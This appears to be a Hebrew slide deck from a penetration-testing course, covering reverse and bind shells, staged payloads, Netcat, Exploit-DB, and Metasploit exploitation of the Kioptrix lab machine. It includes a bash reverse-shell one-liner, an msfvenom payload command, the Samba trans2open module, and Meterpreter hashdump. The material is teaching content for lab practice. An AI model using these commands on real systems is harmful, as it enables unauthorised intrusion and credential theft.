

ניצול והשגת גישה

מוֹדוּל 7 — Exploitation

◀ Bind מוֹל Shells: Reverse

◀ Non-Staged מוֹל Payloads: Staged

◀ Metasploit, ניצול ידני, Netcat

◀ Kioptrix → root ניצול

שלב הניצול

- ◀ הפעלת Exploit על חולשה → הרצת קוד ביעד
- ◀ התוצאה: **Shell** — שליטה בשורת הפקודה
- ◀ Exploits עלולים להקריס — קח Snapshot ⚠
- ◀ חולשה (מודול 6) → Shell → Payload → Exploit

מהו Shell?

- ◀ ערוץ להרצת פקודות על מכונה מרוחקת
- ◀ השגת Shell = השגת שליטה
- ◀ השאלה: מי יוזם את החיבור?
- ◀ התשובה → Reverse או Bind

Reverse מול Bind

◀ **Reverse** — הקורבן מתחבר אליך (Listener אצלך)

◀ **Bind** — אתה מתחבר לקורבן (Listener אצלו)

◀ Reverse עוקף Firewall/NAT (תעבורה יוצאת)

◀ Reverse = הנפוץ ביותר 💡

Non-Staged מול Payloads: Staged

◀ **Staged** (/) — בשלבים, קטן

◀ **Non-Staged** (_) — מלא, יציב יותר

◀ `.../reverse_tcp` מול `..._reverse_tcp`

◀ נכשל? החלף ביניהם

Netcat — Listener בסיסי

מאזין — `nc -lvp 4444` ◀

`bash -i >& /dev/tcp/IP/4444 0>&1` ◀

Reverse Shells לגזירת — revshells.com ◀

"סכין הצבא השווייצרי" של הרשת ◀

ניצול ידני מ-Exploit-DB

◀ `searchsploit -m <id>` — העתקה

◀ **קרא את הקוד קודם!** (הוראות + בטיחות)

◀ `gcc exploit.c -o exploit` — קומפילציה

◀ לעיתים צריך להתאים IP/פורט/Offset

Metasploit — זרימת עבודה

use <module> → search <service> ◀

show options ◀

(אתה) set LHOST · (יעד) set RHOSTS ◀

exploit → set PAYLOAD ◀

ניצול Kioptrix → root

◀ Samba פגיע (ממודול 6)

◀ `use exploit/linux/samba/trans2open`

◀ `exploit → PAYLOAD / LHOST / set RHOSTS`

◀ `whoami` → **root** (צלם מסך = PoC) 🎯

Meterpreter-1 msfvenom

`msfvenom -p ... LHOST= LPORT= -f exe -o shell.exe` ◀

`multi/handler` קליטה עם ◀

Meterpreter — Shell משודרג בזיכרון ◀

מודול 11 → `download` , `hashdump` , `sysinfo` ◀

סיכום מודול 7

Reverse/Bind Shells, Staged/Non-Staged Payloads ◀

כלי הניצול = Netcat + Metasploit ◀

ניצלנו Kioptrix והשגנו root מקצה לקצה ◀

`solutions.md` → פתרונות · `missions.md` → תרגילים ◀